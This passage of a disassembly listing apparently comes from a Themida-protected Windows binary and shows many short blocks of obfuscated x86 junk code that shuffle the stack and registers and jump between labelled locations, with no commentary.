xor ebp, 82FA8561h
jmp loc_5689B5
; ---------------------------------------------------------------------------
loc_569FAE: ; CODE XREF: Themida_:00563B67j
mov edi, 527B53A0h
sub edi, 0FFFFFFFFh
push edx
jmp loc_5630F0
; ---------------------------------------------------------------------------
loc_569FBF: ; CODE XREF: Themida_:0056BF36j
push 534E4A7Eh
jmp loc_5711C3
; ---------------------------------------------------------------------------
loc_569FC9: ; CODE XREF: Themida_:0055FDF7j
push small 3A02h
mov cx, [esp]
add esp, 2
push cx
add word ptr [esp], 0FFFFh
mov cx, [esp]
push edi
jmp loc_56A8CA
; ---------------------------------------------------------------------------
loc_569FE9: ; CODE XREF: Themida_:005659BCj
and edx, 36DD7D02h
xor edx, 72243469h
mov edi, edx
pop edx
jmp loc_55FFC0
; ---------------------------------------------------------------------------
loc_569FFD: ; CODE XREF: Themida_:005610DAj
push 4933h
mov [esp], esi
push ecx
mov ecx, 5C76CE0h
jmp loc_55E534
; ---------------------------------------------------------------------------
loc_56A010: ; CODE XREF: Themida_:005727DDj
neg al
jmp loc_56B03E
; ---------------------------------------------------------------------------
loc_56A017: ; CODE XREF: Themida_:0055DC82j
mov [esp], eax
jmp loc_5627B5
; ---------------------------------------------------------------------------
loc_56A01F: ; CODE XREF: Themida_:0056A9DAj
mov eax, ebp
pop ebp
shr eax, 5
sub eax, 1
push edi
jmp loc_56C1BA
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5610A4
; ---------------------------------------------------------------------------
loc_56A039: ; CODE XREF: Themida_:00565068j
push esp
mov edx, [esp]
add esp, 4
add edx, 4
push eax
mov eax, 7DAD169Eh
jmp loc_564ACB
; ---------------------------------------------------------------------------
loc_56A051: ; CODE XREF: Themida_:0056C350j
pop ebx
sub esi, 208370C3h
add esi, edi
add esi, 208370C3h
mov edi, [esp]
add esp, 4
jmp loc_5602F2
; ---------------------------------------------------------------------------
loc_56A06E: ; CODE XREF: Themida_:0056C9CAj
and [edi+1Ch], ecx
jmp loc_560833
; ---------------------------------------------------------------------------
loc_56A076: ; CODE XREF: Themida_:0055F26Dj
neg eax
xchg eax, edi
jmp loc_565A82
; ---------------------------------------------------------------------------
loc_56A07E: ; CODE XREF: Themida_:00565FEAj
push 170442D5h
pop ecx
and ecx, 37C505EDh
and ecx, 29E55D3Bh
dec ecx
xor ecx, 23EB5022h
push 554Bh
mov [esp], ecx
pop eax
pop ecx
jmp loc_56B5F6
; ---------------------------------------------------------------------------
loc_56A0A6: ; CODE XREF: Themida_:0056801Bj
mov [esp], edi
jmp loc_567C37
; ---------------------------------------------------------------------------
loc_56A0AE: ; CODE XREF: Themida_:00563586j
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_56B233
; ---------------------------------------------------------------------------
loc_56A0BD: ; CODE XREF: Themida_:0056F2ECj
xor dword ptr [esp], 7C004EE8h
pop edi
xor edi, 7C004EE8h
pop eax
shr edi, 2
dec edi
xor edi, 64DB5ACEh
jmp loc_5600FA
; ---------------------------------------------------------------------------
loc_56A0DB: ; CODE XREF: Themida_:005654FEj
pop edi
push esi
jmp loc_5661D0
; ---------------------------------------------------------------------------
loc_56A0E2: ; CODE XREF: Themida_:005629F8j
add edi, ebp
pop ebp
push edi
push dword ptr [esp+4]
jmp loc_567D53
; ---------------------------------------------------------------------------
loc_56A0EF: ; CODE XREF: Themida_:00564CD9j
push 6C49h
mov [esp], eax
jmp loc_55E501
; ---------------------------------------------------------------------------
loc_56A0FC: ; CODE XREF: Themida_:00563381j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_561732
; ---------------------------------------------------------------------------
loc_56A10A: ; CODE XREF: Themida_:00561A7Dj
sub edi, esi
jmp loc_56632C
; ---------------------------------------------------------------------------
loc_56A111: ; CODE XREF: Themida_:0056B3CCj
add ebx, 24E475B3h
add ebx, edx
sub ebx, 24E475B3h
jmp loc_568A36
; ---------------------------------------------------------------------------
loc_56A124: ; CODE XREF: Themida_:0056193Cj
sub [esp+4], edx
pop edx
jmp loc_5663C0
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56A13D: ; CODE XREF: Themida_:005645D0j
add dword ptr [esp], 530B5413h
mov ecx, [esp]
push ebp
jmp loc_56500A
; ---------------------------------------------------------------------------
loc_56A14D: ; CODE XREF: Themida_:005634A0j
mov edx, ecx
mov ebp, edx
pop edx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
shl ebp, 6
not ebp
inc ebp
push esi
mov esi, 2C3E2A2Bh
or esi, 603416BBh
shl esi, 8
sub esi, 3A0F21EAh
jmp loc_56D9B7
; ---------------------------------------------------------------------------
loc_56A187: ; CODE XREF: Themida_:0056F371j
sub esp, 4
mov [esp], ebx
mov ebx, 6D5459B3h
shl ebx, 3
shr ebx, 3
sub ebx, 0F0C800E3h
and ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 44551D79h
jmp loc_56DE79
; ---------------------------------------------------------------------------
loc_56A1B4: ; CODE XREF: Themida_:0056D2BCj
xchg esi, [esp]
pop esp
jmp loc_56581A
; ---------------------------------------------------------------------------
loc_56A1BD: ; CODE XREF: Themida_:0056B2D1j
sub al, bh
jmp loc_55F093
; ---------------------------------------------------------------------------
loc_56A1C4: ; CODE XREF: Themida_:00572513j
xor ebp, 3D8F1D22h
sub ebx, ebp
pop ebp
pop edi
xchg ebx, [esp]
pop esp
jmp loc_570920
; ---------------------------------------------------------------------------
loc_56A1D7: ; CODE XREF: Themida_:0055DF85j
mov edi, [esp]
jmp loc_569BB2
; ---------------------------------------------------------------------------
loc_56A1DF: ; CODE XREF: Themida_:0057286Cj
add ecx, 0B4A8349Ch
mov ebx, ecx
pop ecx
push 6C5Eh
mov [esp], edx
mov edx, 6A934972h
inc edx
neg edx
shl edx, 8
sub edx, 0FFFFFFFFh
xor edx, 2F23298Dh
add edx, 0E0967C5Fh
or ebx, edx
pop edx
push 7587h
mov [esp], edi
mov edi, 2A2B5382h
xor ebx, edi
pop edi
add edi, ebx
jmp loc_565F36
; ---------------------------------------------------------------------------
loc_56A224: ; CODE XREF: Themida_:00567FB5j
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_56155E
; ---------------------------------------------------------------------------
loc_56A233: ; CODE XREF: Themida_:00567898j
mov edi, [esp]
add esp, 4
jmp loc_5633D6
; ---------------------------------------------------------------------------
loc_56A23E: ; CODE XREF: Themida_:0056D36Cj
add ebp, ebx
mov ebx, [esp]
push edx
jmp loc_55F5AF
; ---------------------------------------------------------------------------
loc_56A249: ; CODE XREF: Themida_:0055FD77j
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
jmp loc_572A0D
; ---------------------------------------------------------------------------
loc_56A25E: ; CODE XREF: Themida_:0056C75Cj
xchg ebp, [esp]
pop esp
mov [esp], edx
push 4000h
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_563AB7
; ---------------------------------------------------------------------------
loc_56A27E: ; CODE XREF: Themida_:0056703Bj
sub ebp, 51FECA35h
mov eax, ebp
pop ebp
and eax, 127C0BF7h
jmp loc_567083
; ---------------------------------------------------------------------------
loc_56A291: ; CODE XREF: Themida_:00562A55j
sub eax, edx
add eax, 543D71C1h
sub eax, 2D043819h
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_56D0A4
; ---------------------------------------------------------------------------
loc_56A2AC: ; CODE XREF: Themida_:00564953j
mov edi, 7E005F16h
and ebp, edi
jmp loc_56EB59
; ---------------------------------------------------------------------------
loc_56A2B8: ; CODE XREF: Themida_:0055E0F1j
pop dword ptr [esp]
jmp loc_56987C
; ---------------------------------------------------------------------------
loc_56A2C0: ; CODE XREF: Themida_:0056B369j
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_5605BB
; ---------------------------------------------------------------------------
loc_56A2D4: ; CODE XREF: Themida_:00560C5Ej
xor ebx, 705976A4h
jmp loc_56C52C
; ---------------------------------------------------------------------------
loc_56A2DF: ; CODE XREF: Themida_:00564FBAj
shr edx, 8
xor edx, 5AB119D7h
xor edx, 6641EB3Bh
push ebx
jmp loc_560939
; ---------------------------------------------------------------------------
loc_56A2F4: ; CODE XREF: Themida_:0056056Aj
not ebp
add ebp, 0BB72966h
xor ebp, 0F37D4C04h
add edi, ebp
jmp loc_569D07
; ---------------------------------------------------------------------------
loc_56A309: ; CODE XREF: Themida_:0056D4D5j
pop ebx
jmp loc_56F68C
; ---------------------------------------------------------------------------
loc_56A30F: ; CODE XREF: Themida_:0056882Fj
add eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 4
push 1620h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56BE76
; ---------------------------------------------------------------------------
loc_56A334: ; CODE XREF: Themida_:0055E22Aj
pop edx
jmp loc_56C874
; ---------------------------------------------------------------------------
loc_56A33A: ; CODE XREF: Themida_:0055D3CCj
xor esi, edi
mov edi, [esp]
add esp, 4
push 73D6h
jmp loc_5605DC
; ---------------------------------------------------------------------------
loc_56A34C: ; CODE XREF: Themida_:00567A5Aj
shr dh, 1
xor dh, 0BEh
add dh, 37h
jmp loc_562AAD
; ---------------------------------------------------------------------------
push edi
sub esp, 4
mov [esp], esi
push 45E0439Ch
push dword ptr [esp]
pop esi
jmp loc_55D4D8
; ---------------------------------------------------------------------------
loc_56A371: ; CODE XREF: Themida_:0056BA95j
pop edx
pop ebp
mov dword ptr [edi+20h], 7B091886h
sub [edi+20h], edx
mov edx, [esp]
jmp loc_567F38
; ---------------------------------------------------------------------------
loc_56A385: ; CODE XREF: Themida_:00564BB9j
add esp, 4
push eax
mov eax, 0
sub eax, 1B430862h
jmp loc_55FF46
; ---------------------------------------------------------------------------
loc_56A39B: ; CODE XREF: Themida_:00563C24j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_56E410
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56A3A8: ; CODE XREF: sub_59DB3D-2CFD0j
mov word ptr [esp+30h+var_32+2], bx
push edx
mov dh, 0B6h
mov bl, dh
pop edx
jmp loc_56CA75
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56A3B7: ; CODE XREF: Themida_:0055F6CDj
pop ecx
add ebx, 7B9A01B1h
sub ebx, ebp
sub ebx, 7B9A01B1h
mov ebp, [esp]
add esp, 4
shr ebx, 1
push eax
jmp loc_561318
; ---------------------------------------------------------------------------
loc_56A3D4: ; CODE XREF: Themida_:00564140j
mov edx, ecx
jmp loc_56FFD4
; ---------------------------------------------------------------------------
loc_56A3DB: ; CODE XREF: Themida_:0056D7F5j
pop dword ptr [edi+24h]
loc_56A3DE: ; CODE XREF: Themida_:0056F1B1j
sub esp, 4
jmp loc_570FC7
; ---------------------------------------------------------------------------
loc_56A3E9: ; CODE XREF: Themida_:00562FEEj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_57078C
; ---------------------------------------------------------------------------
loc_56A406: ; CODE XREF: Themida_:0056C8A3j
mov [esp], esi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_572656
; ---------------------------------------------------------------------------
loc_56A428: ; CODE XREF: Themida_:0055F1F8j
sub esp, 4
mov [esp], edi
jmp loc_56AEEE
; ---------------------------------------------------------------------------
loc_56A436: ; CODE XREF: Themida_:00561B43j
mov esi, eax
jmp loc_57271B
; ---------------------------------------------------------------------------
loc_56A43D: ; CODE XREF: Themida_:00564618j
push ebx
push 751Eh
mov [esp], ecx
push edx
push ebx
mov bl, 0C1h
mov dh, 24h
xor dh, bl
pop ebx
mov cl, dh
pop edx
or cl, 94h
jmp loc_56356A
; ---------------------------------------------------------------------------
loc_56A45A: ; CODE XREF: Themida_:00566985j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub ch, bh
pop ebx
jmp loc_55D7C8
; ---------------------------------------------------------------------------
loc_56A474: ; CODE XREF: Themida_:00565859j
sub dword ptr [esp+4], 5EAF1E89h
sub dword ptr [esp+4], 6C2C615Ah
mov ecx, [esp]
jmp loc_5697F8
; ---------------------------------------------------------------------------
loc_56A48C: ; CODE XREF: Themida_:00571BAAj
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_56EB00
; ---------------------------------------------------------------------------
loc_56A497: ; CODE XREF: Themida_:00564D60j
push 45F3h
mov [esp], esi
push eax
mov eax, 4
mov esi, eax
mov eax, [esp]
jmp loc_560EBF
; ---------------------------------------------------------------------------
loc_56A4AF: ; CODE XREF: Themida_:005633F8j
mov [esp], ebx
push ecx
push esi
mov esi, 153742F6h
sub esi, 728A1A64h
sub esi, 0A2AD286Eh
jmp loc_564E43
; ---------------------------------------------------------------------------
loc_56A4CA: ; CODE XREF: Themida_:00562F1Cj
pop eax
add eax, 4
jmp loc_55E49B
; ---------------------------------------------------------------------------
loc_56A4D5: ; CODE XREF: Themida_:00568B0Ej
sub eax, 922AF033h
jmp loc_560F41
; ---------------------------------------------------------------------------
loc_56A4DF: ; CODE XREF: Themida_:00568C02j
push ebx
mov ebx, 4
sub ecx, ebx
jmp loc_563CE7
; ---------------------------------------------------------------------------
loc_56A4EC: ; CODE XREF: Themida_:0056E4DAj
mov [esp], edi
jmp loc_566FC0
; ---------------------------------------------------------------------------
loc_56A4F4: ; CODE XREF: Themida_:005615A4j
mov [esp], esp
add dword ptr [esp], 4
pop edx
push edi
mov edi, 3A9A19FAh
and edi, 1B5154D4h
inc edi
and edi, 21F81291h
sub edi, 10108Dh
add edx, 5652542Bh
jmp loc_5654F6
; ---------------------------------------------------------------------------
loc_56A520: ; CODE XREF: Themida_:0056DDDBj
mov ecx, 749A1D0Ah
push ebp
mov ebp, 3A4036DCh
shl ebp, 4
add ebp, 0E15529Ch
jmp loc_56CCA3
; ---------------------------------------------------------------------------
loc_56A539: ; CODE XREF: Themida_:0055FAB9j
sub edi, 8E7B61Eh
mov esi, edi
pop edi
shr esi, 6
jmp loc_571E01
; ---------------------------------------------------------------------------
loc_56A54A: ; CODE XREF: Themida_:0056316Bj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push 5E00h
mov [esp], ebx
push 4232h
mov [esp], eax
push ebx
push eax
mov ah, dl
jmp loc_566B2B
; ---------------------------------------------------------------------------
loc_56A56C: ; CODE XREF: Themida_:0056914Bj
add ebx, esi
pop esi
xchg ebx, [esp]
pop esp
add ebx, edx
pop edx
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_56EEF5
; ---------------------------------------------------------------------------
loc_56A587: ; CODE XREF: Themida_:005619A6j
add edx, 0AEB3141h
add edx, ecx
sub edx, 0AEB3141h
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_570B1E
; ---------------------------------------------------------------------------
loc_56A5A9: ; CODE XREF: Themida_:00572222j
pop ebx
jmp loc_56BEBC
; ---------------------------------------------------------------------------
loc_56A5AF: ; CODE XREF: Themida_:00561B25j
mov ebx, 4
jmp loc_565C2D
; ---------------------------------------------------------------------------
loc_56A5B9: ; CODE XREF: Themida_:0055FF41j
push ebx
push ebx
mov ebx, 1FA84D8Dh
sub [esp+4], ebx
pop ebx
pop edi
add edi, 1FA84D8Dh
pop ebx
inc edi
push ebp
jmp loc_55EE2C
; ---------------------------------------------------------------------------
loc_56A5D4: ; CODE XREF: Themida_:0056F2A5j
or esi, 6BE47E06h
jmp loc_5617C5
; ---------------------------------------------------------------------------
loc_56A5DF: ; CODE XREF: Themida_:0056B860j
not ebp
xchg ebp, esi
add esi, 0CDCA5519h
sub edi, esi
mov esi, [esp]
add esp, 4
push eax
push edi
mov eax, [esp]
add esp, 4
jmp loc_569E41
; ---------------------------------------------------------------------------
loc_56A601: ; CODE XREF: Themida_:00562BD3j
pop eax
add ebx, 667700E9h
jmp loc_566CFC
; ---------------------------------------------------------------------------
loc_56A60D: ; CODE XREF: Themida_:0055E77Bj
mov [esp], esi
jmp loc_563EBD
; ---------------------------------------------------------------------------
loc_56A615: ; CODE XREF: Themida_:00569910j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push esi
jmp loc_56C2FE
; ---------------------------------------------------------------------------
loc_56A62B: ; CODE XREF: Themida_:00572171j
sub edi, 68890371h
mov ecx, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
push 7ED8h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56A65F: ; CODE XREF: Themida_:00569E62j
pop ebx
jmp loc_571AD0
; ---------------------------------------------------------------------------
loc_56A665: ; CODE XREF: Themida_:005716E3j
pop ebp
sub ebp, 7BD27926h
jmp loc_55EFEE
; ---------------------------------------------------------------------------
loc_56A671: ; CODE XREF: Themida_:0056B449j
push edx
jmp loc_569608
; ---------------------------------------------------------------------------
loc_56A677: ; CODE XREF: Themida_:0056ABF4j
mov [esp], eax
mov ah, 0DFh
jmp loc_56EAF6
; ---------------------------------------------------------------------------
loc_56A681: ; CODE XREF: Themida_:00569008j
mov [esp], ebx
mov bl, al
mov dh, bl
mov ebx, [esp]
jmp loc_5679A3
; ---------------------------------------------------------------------------
loc_56A690: ; CODE XREF: Themida_:00571B5Dj
pop ebx
add esp, 4
sub al, 0AAh
sub al, dl
add al, 0AAh
push dword ptr [esp]
pop edx
add esp, 4
push edx
push ecx
mov cl, 7Fh
add cl, 72h
xor cl, 0D8h
sub esp, 4
jmp loc_55D34E
; ---------------------------------------------------------------------------
loc_56A6BC: ; CODE XREF: Themida_:00567D6Dj
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_5619EA
; ---------------------------------------------------------------------------
loc_56A6CF: ; CODE XREF: Themida_:00565F25j
dec bx
push si
jmp loc_55E2D7
; ---------------------------------------------------------------------------
loc_56A6D8: ; CODE XREF: Themida_:005672ECj
add ecx, 4122014Bh
sub ecx, eax
sub ecx, 4122014Bh
pop eax
mov ebx, ecx
pop ecx
jmp loc_5624B7
; ---------------------------------------------------------------------------
loc_56A6EF: ; CODE XREF: Themida_:0056F3E7j
sub dh, 0CFh
sub dh, 0E4h
pop eax
sub bl, 25h
jmp loc_571C20
; ---------------------------------------------------------------------------
loc_56A6FE: ; CODE XREF: Themida_:0056A758j
push edi
push esi
mov esi, 57E01D9Fh
inc esi
sub esp, 4
mov [esp], ebx
push esi
push ebp
jmp loc_56F937
; ---------------------------------------------------------------------------
loc_56A716: ; CODE XREF: Themida_:00562AC9j
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_561667
; ---------------------------------------------------------------------------
loc_56A725: ; CODE XREF: Themida_:0055E40Bj
mov ebp, esp
push eax
push edi
mov edi, 713440B3h
shl edi, 2
dec edi
or edi, 38024177h
jmp loc_5709B7
; ---------------------------------------------------------------------------
loc_56A73D: ; CODE XREF: Themida_:0056F1E6j
pop esi
jmp loc_56321D
; ---------------------------------------------------------------------------
loc_56A743: ; CODE XREF: Themida_:00570E9Aj
pop esi
add edx, 6E347053h
add edx, eax
sub edx, 6E347053h
mov eax, [esp]
add esp, 4
jmp loc_56A6FE
; ---------------------------------------------------------------------------
loc_56A75D: ; CODE XREF: Themida_:0056817Dj
add esp, 4
push eax
mov eax, esp
jmp loc_561D90
; ---------------------------------------------------------------------------
loc_56A76B: ; CODE XREF: Themida_:00569D83j
mov esi, 3EB837A2h
add ebx, esi
pop esi
or ebx, 62A03803h
add ebx, 5C96AD1Bh
and ecx, ebx
jmp loc_56D8C7
; ---------------------------------------------------------------------------
loc_56A786: ; CODE XREF: Themida_:00564920j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_56EE29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56A7B7: ; CODE XREF: sub_59DB3D-310C6j
pop bx
add ch, 21h
sub ch, 0B1h
jmp loc_570DE7
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56A7C4: ; CODE XREF: Themida_:0056629Ej
sub eax, edx
pop edx
jmp loc_56F9E1
; ---------------------------------------------------------------------------
loc_56A7CC: ; CODE XREF: Themida_:0056B052j
xor ecx, 420219C6h
sub eax, ecx
mov ecx, [esp]
add esp, 4
sub eax, 566212A6h
pop ebp
push eax
push dword ptr [esp+4]
mov eax, [esp]
push 3F23h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_55FB5A
; ---------------------------------------------------------------------------
loc_56A7FF: ; CODE XREF: Themida_:00569158j
sub eax, ebx
jmp loc_55F788
; ---------------------------------------------------------------------------
loc_56A806: ; CODE XREF: Themida_:00565C99j
add bl, al
sub bl, 4
sub bl, 52h
add bl, 43h
push cx
push ebx
mov bl, 0F1h
sub bl, 8Ch
sub esp, 4
mov [esp], eax
push edx
mov dh, bl
mov ah, dh
pop edx
jmp loc_567724
; ---------------------------------------------------------------------------
loc_56A82A: ; CODE XREF: Themida_:0056D6E7j
mov ebp, 2C6018B3h
jmp loc_56FD1A
; ---------------------------------------------------------------------------
loc_56A834: ; CODE XREF: Themida_:00568F66j
xchg dh, al
push ebx
mov bl, dh
xchg cl, bl
not cl
xchg cl, bl
jmp loc_56E59C
; ---------------------------------------------------------------------------
loc_56A844: ; CODE XREF: Themida_:0056D09Fj
xchg esi, [esp]
not esi
push esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
push esp
pop ebx
push ebp
mov ebp, 4
add ebx, 57A14213h
add ebx, 256C40C3h
add ebx, ebp
sub ebx, 256C40C3h
sub ebx, 57A14213h
mov ebp, [esp]
add esp, 4
jmp loc_55EC66
; ---------------------------------------------------------------------------
loc_56A892: ; CODE XREF: Themida_:0057294Aj
push 74D6h
mov [esp], edx
push ecx
push 5796h
mov [esp], ebx
mov bl, 9Bh
mov ch, bl
jmp loc_5643C6
; ---------------------------------------------------------------------------
loc_56A8AC: ; CODE XREF: Themida_:00561562j
add esp, 4
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push ecx
jmp loc_570074
; ---------------------------------------------------------------------------
loc_56A8CA: ; CODE XREF: Themida_:00569FE4j
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp]
jmp loc_560FE2
; ---------------------------------------------------------------------------
loc_56A8E0: ; CODE XREF: Themida_:00560B1Aj
pop edi
pop edi
add edx, esi
add edx, 764F46C0h
pop esi
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push esi
jmp loc_565958
; ---------------------------------------------------------------------------
loc_56A907: ; CODE XREF: Themida_:00568C9Fj
push eax
mov eax, 26F1A7Ch
add eax, 509D6B22h
add eax, 0ACFB7C68h
add edi, eax
pop eax
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, esi
push ebp
xor dword ptr [esp], 48BF2496h
jmp loc_56CB8F
; ---------------------------------------------------------------------------
loc_56A939: ; CODE XREF: Themida_:00569033j
pop ebp
add esp, 4
add eax, 4F33FE3h
add eax, edx
sub eax, 4F33FE3h
push ecx
mov ecx, 0
add ecx, eax
jmp loc_567100
; ---------------------------------------------------------------------------
loc_56A956: ; CODE XREF: Themida_:005696CDj
push esi
push esp
pop esi
push 621Dh
mov [esp], edx
mov edx, 4
jmp loc_56F3AB
; ---------------------------------------------------------------------------
loc_56A96B: ; CODE XREF: Themida_:00567327j
push dword ptr [esp]
pop edx
add esp, 4
xor ecx, 6A059AAh
sub ecx, 28CD3FC9h
mov edx, ecx
pop ecx
xor edx, 4DEE5955h
add edx, 0A71500D1h
jmp loc_56BA43
; ---------------------------------------------------------------------------
loc_56A995: ; CODE XREF: Themida_:00562732j
pop edx
jmp loc_562D01
; ---------------------------------------------------------------------------
loc_56A99B: ; CODE XREF: Themida_:0055EF9Aj
pop ecx
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_55F319
; ---------------------------------------------------------------------------
loc_56A9AC: ; CODE XREF: Themida_:0056E5BEj
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop edx
push edx
mov edx, esp
jmp loc_566DEC
; ---------------------------------------------------------------------------
loc_56A9BE: ; CODE XREF: Themida_:0056372Fj
sub eax, 0F00B2999h
mov esi, eax
pop eax
jmp loc_568E6C
; ---------------------------------------------------------------------------
loc_56A9CB: ; CODE XREF: Themida_:0055D76Dj
push eax
mov eax, 11955C8Dh
sub ebp, eax
pop eax
sub ebp, 41335083h
jmp loc_56A01F
; ---------------------------------------------------------------------------
loc_56A9DF: ; CODE XREF: Themida_:0056510Bj
mov [esp], ebp
push 70B5h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
jmp loc_5611AF
; ---------------------------------------------------------------------------
loc_56A9F9: ; CODE XREF: Themida_:00565195j
mov bx, si
jmp loc_56923B
; ---------------------------------------------------------------------------
loc_56AA01: ; CODE XREF: Themida_:0056671Dj
add eax, 77B56F79h
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 12877532h
sub eax, 63A9116Fh
add eax, 71410F3Fh
add eax, ecx
sub eax, 71410F3Fh
push ebp
mov ebp, 63A9116Fh
jmp loc_570EEC
; ---------------------------------------------------------------------------
loc_56AA31: ; CODE XREF: Themida_:0055F2C9j
pop ebp
sub ebp, 75AB0A3Eh
xor ebp, 78C20304h
sub ebp, 632078BFh
sub esp, 4
mov [esp], eax
mov eax, 38E26619h
jmp loc_56F58B
; ---------------------------------------------------------------------------
loc_56AA54: ; CODE XREF: Themida_:005705A3j
mov edx, 13493CEAh
sub edx, 0ADF28C3h
sub ecx, edx
pop edx
pop ebx
add ecx, 4
xchg ecx, [esp]
pop esp
mul ecx
push 6904h
mov [esp], edx
push eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56AA7E: ; CODE XREF: Themida_:0055F17Aj
or cl, 67h
neg cl
jmp loc_566A4E
; ---------------------------------------------------------------------------
loc_56AA88: ; CODE XREF: Themida_:0056D286j
add esp, 4
add eax, ebx
push edx
mov edx, 31821D6h
add eax, edx
pop edx
pop ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_564CF9
; ---------------------------------------------------------------------------
loc_56AAB2: ; CODE XREF: Themida_:00567FCEj
not esi
xchg eax, esi
inc eax
add eax, 0DEF551A2h
xor edi, eax
pop eax
sub edi, 3E51130Ah
jmp loc_56B6CB
; ---------------------------------------------------------------------------
loc_56AAC9: ; CODE XREF: Themida_:0057244Aj
shr ebp, 5
or ebp, 3B5F17D5h
jmp loc_55D767
; ---------------------------------------------------------------------------
loc_56AAD7: ; CODE XREF: Themida_:00569205j
add esp, 4
xchg ebx, [esp]
jmp loc_56304A
; ---------------------------------------------------------------------------
loc_56AAE2: ; CODE XREF: Themida_:0056035Bj
mov eax, 71763249h
add eax, 0A8DB2E0Eh
jmp loc_55F716
; ---------------------------------------------------------------------------
loc_56AAF1: ; CODE XREF: Themida_:005617D4j
add edi, 48643FC1h
xor esi, edi
pop edi
not esi
sub esi, 35BB54F0h
sub edx, 2B1D2A93h
jmp loc_567790
; ---------------------------------------------------------------------------
loc_56AB0D: ; CODE XREF: Themida_:0056C813j
push esi
push esp
pop esi
push ebp
mov ebp, 4
add esi, 2E304576h
add esi, 5182313Bh
add esi, ebp
sub esi, 5182313Bh
push edx
push 2E304576h
pop edx
jmp loc_571A94
; ---------------------------------------------------------------------------
loc_56AB36: ; CODE XREF: Themida_:00565574j
add ecx, 4
xchg ecx, [esp]
pop esp
add ebp, 2
jmp loc_56F1EB
; ---------------------------------------------------------------------------
loc_56AB48: ; CODE XREF: Themida_:00568CFCj
mov ebp, 72CB06F3h
mov esi, 10F15E39h
xor esi, ebp
jmp loc_56424C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_57085F
; ---------------------------------------------------------------------------
loc_56AB68: ; CODE XREF: Themida_:00567B9Bj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_56EEE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56AB8C: ; CODE XREF: sub_59DB3D-2C7BBj
mov [esp+0], ebx
jmp loc_5718B3
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56AB94: ; CODE XREF: Themida_:0056E934j
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ebp, 25E3323Ah
add ebp, eax
jmp loc_5686EE
; ---------------------------------------------------------------------------
loc_56ABBA: ; CODE XREF: Themida_:00563D96j
push ebx
not byte ptr [esp+1]
pop ebx
jmp loc_57025C
; ---------------------------------------------------------------------------
